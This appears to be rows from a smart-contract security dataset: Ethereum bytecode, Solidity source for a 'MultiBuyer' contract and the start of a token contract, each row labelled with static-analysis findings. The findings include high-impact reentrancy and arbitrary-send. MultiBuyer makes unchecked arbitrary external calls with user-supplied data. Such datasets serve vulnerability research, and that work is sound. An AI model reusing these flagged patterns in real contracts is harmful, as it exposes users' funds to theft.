00000000000000000000815260040161192d9061315b565b60405180910390fd5b602d4261194391906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f457600f426119ad91906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0030610913565b9050601460169054906101000a900460ff16158015611a6d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a83575060148054906101000a900460ff165b15611c8757601460159054906101000a900460ff1615611b225742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906131bb565b60405180910390fd5b5b601460179054906101000a900460ff1615611bac576000611b4e600c548461221390919063ffffffff16565b9050611b9f611b9084611b82601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228e90919063ffffffff16565b826122ec90919063ffffffff16565b9050611baa81612336565b505b6000811115611c6d57611c076064611bf9600b54611beb601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b811115611c6357611c606064611c52600b54611c44601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b90505b611c6c81611f19565b5b60004790506000811115611c8557611c8447611db0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3a57600090505b611d46848484846123ed565b50505050565b6000838311158290611d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8b91906130d9565b60405180910390fd5b5060008385611da39190613481565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e006002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2b573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7c6002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea7573d6000803e3d6000fd5b5050565b6000600754821115611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee99061311b565b60405180910390fd5b6000611efc61241a565b9050611f1181846122ec90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa55781602001602082028036833780820191505090505b5090503081600081518110611fe3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208557600080fd5b505afa158015612099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120bd9190612b43565b816001815181106120f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215e30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c29594939291906132d6565b600060405180830381600087803b1580156121dc57600080fd5b505af11580156121f0573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122265760009050612288565b600082846122349190613427565b905082848261224391906133f6565b14612283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227a906131db565b60405180910390fd5b809150505b92915050565b600080828461229d91906133a0565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d99061317b565b60405180910390fd5b8091505092915050565b600061232e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612445565b905092915050565b6000600a9050600a82101561234e57600a9050612365565b602882111561236057601e9050612364565b8190505b5b600061237b6002836124a890919063ffffffff16565b1461238f57808061238b9061354f565b9150505b6123b6600a6123a860028461221390919063ffffffff16565b6122ec90919063ffffffff16565b6009819055506123e3600a6123d5600a8461221390919063ffffffff16565b6122ec90919063ffffffff16565b600a819055505050565b806123fb576123fa6124f2565b5b612406848484612535565b8061241457612413612700565b5b50505050565b6000806000612427612714565b9150915061243e81836122ec90919063ffffffff16565b9250505090565b6000808311829061248c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248391906130d9565b60405180910390fd5b506000838561249b91906133f6565b9050809150509392505050565b60006124ea83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612776565b905092915050565b600060095414801561250657506000600a54145b1561251057612533565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612547876127d4565b9550955095509550955095506125a586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268681612886565b6126908483612943565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ed91906132bb565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274a683635c9adc5dea000006007546122ec90919063ffffffff16565b82101561276957600754683635c9adc5dea00000935093505050612772565b81819350935050505b9091565b60008083141582906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b591906130d9565b60405180910390fd5b5082846127cb9190613598565b90509392505050565b60008060008060008060008060006127f18a600954600a5461297d565b925092509250600061280161241a565b905060008060006128148e878787612a13565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4c565b905092915050565b600061289061241a565b905060006128a7828461221390919063ffffffff16565b90506128fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129588260075461283c90919063ffffffff16565b6007819055506129738160085461228e90919063ffffffff16565b6008819055505050565b6000806000806129a9606461299b888a61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129d360646129c5888b61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129fc826129ee858c61283c90919063ffffffff16565b61283c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2c858961221390919063ffffffff16565b90506000612a43868961221390919063ffffffff16565b90506000612a5a878961221390919063ffffffff16565b90506000612a8382612a75858761283c90919063ffffffff16565b61283c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aab816139cc565b92915050565b600081519050612ac0816139cc565b92915050565b600081359050612ad5816139e3565b92915050565b600081519050612aea816139e3565b92915050565b600081359050612aff816139fa565b92915050565b600081519050612b14816139fa565b92915050565b600060208284031215612b2c57600080fd5b6000612b3a84828501612a9c565b91505092915050565b600060208284031215612b5557600080fd5b6000612b6384828501612ab1565b91505092915050565b60008060408385031215612b7f57600080fd5b6000612b8d85828601612a9c565b9250506020612b9e85828601612a9c565b9150509250929050565b600080600060608486031215612bbd57600080fd5b6000612bcb86828701612a9c565b9350506020612bdc86828701612a9c565b9250506040612bed86828701612af0565b9150509250925092565b60008060408385031215612c0a57600080fd5b6000612c1885828601612a9c565b9250506020612c2985828601612af0565b9150509250929050565b600060208284031215612c4557600080fd5b6000612c5384828501612ac6565b91505092915050565b600060208284031215612c6e57600080fd5b6000612c7c84828501612adb565b91505092915050565b600060208284031215612c9757600080fd5b6000612ca584828501612af0565b91505092915050565b600080600060608486031215612cc357600080fd5b6000612cd186828701612b05565b9350506020612ce286828701612b05565b9250506040612cf386828701612b05565b9150509250925092565b6000612d098383612d15565b60208301905092915050565b612d1e816134b5565b82525050565b612d2d816134b5565b82525050565b6000612d3e8261335b565b612d48818561337e565b9350612d538361334b565b8060005b83811015612d84578151612d6b8882612cfd565b9750612d7683613371565b925050600181019050612d57565b5085935050505092915050565b612d9a816134c7565b82525050565b612da98161350a565b82525050565b6000612dba82613366565b612dc4818561338f565b9350612dd481856020860161351c565b612ddd81613627565b840191505092915050565b6000612df560238361338f565b9150612e0082613638565b604082019050919050565b6000612e18602a8361338f565b9150612e2382613687565b604082019050919050565b6000612e3b60228361338f565b9150612e46826136d6565b604082019050919050565b6000612e5e60228361338f565b9150612e6982613725565b604082019050919050565b6000612e81601b8361338f565b9150612e8c82613774565b602082019050919050565b6000612ea460158361338f565b9150612eaf8261379d565b602082019050919050565b6000612ec760238361338f565b9150612ed2826137c6565b604082019050919050565b6000612eea60218361338f565b9150612ef582613815565b604082019050919050565b6000612f0d60208361338f565b9150612f1882613864565b602082019050919050565b6000612f3060298361338f565b9150612f3b8261388d565b604082019050919050565b6000612f5360258361338f565b9150612f5e826138dc565b604082019050919050565b6000612f7660248361338f565b9150612f818261392b565b604082019050919050565b6000612f9960178361338f565b9150612fa48261397a565b602082019050919050565b6000612fbc60188361338f565b9150612fc7826139a3565b602082019050919050565b612fdb816134f3565b82525050565b612fea816134fd565b82525050565b60006020820190506130056000830184612d24565b92915050565b60006040820190506130206000830185612d24565b61302d6020830184612d24565b9392505050565b60006040820190506130496000830185612d24565b6130566020830184612fd2565b9392505050565b600060c0820190506130726000830189612d24565b61307f6020830188612fd2565b61308c6040830187612da0565b6130996060830186612da0565b6130a66080830185612d24565b6130b360a0830184612fd2565b979650505050505050565b60006020820190506130d36000830184612d91565b92915050565b600060208201905081810360008301526130f38184612daf565b905092915050565b6000602082019050818103600083015261311481612de8565b9050919050565b6000602082019050818103600083015261313481612e0b565b9050919050565b6000602082019050818103600083015261315481612e2e565b9050919050565b6000602082019050818103600083015261317481612e51565b9050919050565b6000602082019050818103600083015261319481612e74565b9050919050565b600060208201905081810360008301526131b481612e97565b9050919050565b600060208201905081810360008301526131d481612eba565b9050919050565b600060208201905081810360008301526131f481612edd565b9050919050565b6000602082019050818103600083015261321481612f00565b9050919050565b6000602082019050818103600083015261323481612f23565b9050919050565b6000602082019050818103600083015261325481612f46565b9050919050565b6000602082019050818103600083015261327481612f69565b9050919050565b6000602082019050818103600083015261329481612f8c565b9050919050565b600060208201905081810360008301526132b481612faf565b9050919050565b60006020820190506132d06000830184612fd2565b92915050565b600060a0820190506132eb6000830188612fd2565b6132f86020830187612da0565b818103604083015261330a8186612d33565b90506133196060830185612d24565b6133266080830184612fd2565b9695505050505050565b60006020820190506133456000830184612fe1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ab826134f3565b91506133b6836134f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133eb576133ea6135c9565b5b828201905092915050565b6000613401826134f3565b915061340c836134f3565b92508261341c5761341b6135f8565b5b828204905092915050565b6000613432826134f3565b915061343d836134f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613476576134756135c9565b5b828202905092915050565b600061348c826134f3565b9150613497836134f3565b9250828210156134aa576134a96135c9565b5b828203905092915050565b60006134c0826134d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613515826134f3565b9050919050565b60005b8381101561353a57808201518184015260208101905061351f565b83811115613549576000848401525b50505050565b600061355a826134f3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358d5761358c6135c9565b5b600182019050919050565b60006135a3826134f3565b91506135ae836134f3565b9250826135be576135bd6135f8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d5816134b5565b81146139e057600080fd5b50565b6139ec816134c7565b81146139f757600080fd5b50565b613a03816134f3565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207aac4f5910f2c9b706424aaed882da2c01639998a443c1627bbe54d3945892c264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,302 |
0x98c1487b6da44ecec425672b219a3815f691e6ee | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/interface/IBasicMultiToken.sol
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
}
// File: contracts/interface/IMultiToken.sol
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: contracts/registry/MultiBuyer.sol
contract MultiBuyer is CanReclaimToken {
using SafeMath for uint256;
function buy(
IMultiToken _mtkn,
uint256 _minimumReturn,
address[] _exchanges,
bytes _datas,
uint[] _datasIndexes, // including 0 and LENGTH values
uint256[] _values
)
public
payable
{
require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH");
require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges");
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed");
}
j = _mtkn.totalSupply(); // optimization totalSupply
uint256 bestAmount = uint256(-1);
for (i = _mtkn.tokensCount(); i > 0; i--) {
ERC20 token = _mtkn.tokens(i - 1);
token.approve(_mtkn, token.balanceOf(this));
uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn));
if (amount < bestAmount) {
bestAmount = amount;
}
}
require(bestAmount >= _minimumReturn, "buy: return value is too low");
_mtkn.bundle(msg.sender, bestAmount);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
} | 0x6080604052600436106100535763ffffffff60e060020a60003504166317ffc3208114610058578063316491151461007b578063715018a6146101855780638da5cb5b1461019a578063f2fde38b146101cb575b600080fd5b34801561006457600080fd5b50610079600160a060020a03600435166101ec565b005b6040805160206004604435818101358381028086018501909652808552610079958335600160a060020a031695602480359636969560649593949201929182918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506102a29650505050505050565b34801561019157600080fd5b50610079610b0c565b3480156101a657600080fd5b506101af610b78565b60408051600160a060020a039092168252519081900360200190f35b3480156101d757600080fd5b50610079600160a060020a0360043516610b87565b60008054600160a060020a0316331461020457600080fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561024f57600080fd5b505af1158015610263573d6000803e3d6000fd5b505050506040513d602081101561027957600080fd5b505160005490915061029e90600160a060020a0384811691168363ffffffff610baa16565b5050565b6000606060008060008089516001018851141515610330576040805160e560020a62461bcd02815260206004820152603a60248201527f6275793a205f6461746173496e64657865732073686f756c642073746172742060448201527f77697468203020616e6420656e642077697468204c454e475448000000000000606482015290519081900360840190fd5b89518751146103af576040805160e560020a62461bcd02815260206004820152603660248201527f6275793a205f76616c7565732073686f756c642068617665207468652073616d60448201527f65206c656e677468206173205f65786368616e67657300000000000000000000606482015290519081900360840190fd5b600095505b89518610156106465787868151811015156103cb57fe5b9060200190602002015188876001018151811015156103e657fe5b90602001906020020151036040519080825280601f01601f19166020018201604052801561041e578160200160208202803883390190505b509450878681518110151561042f57fe5b9060200190602002015193505b878660010181518110151561044d57fe5b9060200190602002015184101561051957888481518110151561046c57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028589888151811015156104c657fe5b9060200190602002015186038151811015156104de57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060019093019261043c565b898681518110151561052757fe5b90602001906020020151600160a060020a0316878781518110151561054857fe5b906020019060200201518660405180828051906020019080838360005b8381101561057d578181015183820152602001610565565b50505050905090810190601f1680156105aa5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561063b576040805160e560020a62461bcd02815260206004820152602360248201527f6275793a2065786368616e6765206172626974726172792063616c6c2066616960448201527f6c65640000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6001909501946103b4565b8b600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561068457600080fd5b505af1158015610698573d6000803e3d6000fd5b505050506040513d60208110156106ae57600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519195506000199450600160a060020a038e169163a64ed8ba916004808201926020929091908290030181600087803b15801561071457600080fd5b505af1158015610728573d6000803e3d6000fd5b505050506040513d602081101561073e57600080fd5b505195505b60008611156109ed578b600160a060020a0316634f64b2be600188036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b15801561079857600080fd5b505af11580156107ac573d6000803e3d6000fd5b505050506040513d60208110156107c257600080fd5b50516040805160e060020a6370a082310281523060048201529051919350600160a060020a0384169163095ea7b3918f9184916370a082319160248083019260209291908290030181600087803b15801561081c57600080fd5b505af1158015610830573d6000803e3d6000fd5b505050506040513d602081101561084657600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561089557600080fd5b505af11580156108a9573d6000803e3d6000fd5b505050506040513d60208110156108bf57600080fd5b50506040805160e060020a6370a08231028152600160a060020a038e8116600483015291516109d3928516916370a082319160248083019260209291908290030181600087803b15801561091257600080fd5b505af1158015610926573d6000803e3d6000fd5b505050506040513d602081101561093c57600080fd5b50516040805160e060020a6370a0823102815230600482015290516109c791600160a060020a038716916370a08231916024808201926020929091908290030181600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d60208110156109b857600080fd5b5051879063ffffffff610c4916565b9063ffffffff610c7816565b9050828110156109e1578092505b60001990950194610743565b8a831015610a45576040805160e560020a62461bcd02815260206004820152601c60248201527f6275793a2072657475726e2076616c756520697320746f6f206c6f7700000000604482015290519081900360640190fd5b604080517feba3cdfe000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a038e169163eba3cdfe91604480830192600092919082900301818387803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b5050506000303111159050610afe576040513390303180156108fc02916000818181858888f19350505050158015610afc573d6000803e3d6000fd5b505b505050505050505050505050565b600054600160a060020a03163314610b2357600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a03163314610b9e57600080fd5b610ba781610c8d565b50565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c0d57600080fd5b505af1158015610c21573d6000803e3d6000fd5b505050506040513d6020811015610c3757600080fd5b50511515610c4457600080fd5b505050565b6000821515610c5a57506000610c72565b50818102818382811515610c6a57fe5b0414610c7257fe5b92915050565b60008183811515610c8557fe5b049392505050565b600160a060020a0381161515610ca257600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820a87dc7aea2c7cabf4dd88deff52e6fefa95d843b1589c98e0e51c04fc4383ca90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,303 |
0xc5d7d97e77b87134795deb413a2f0325727a3f16 | // Butlerinu.xyz
// t.me/butlerinu
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
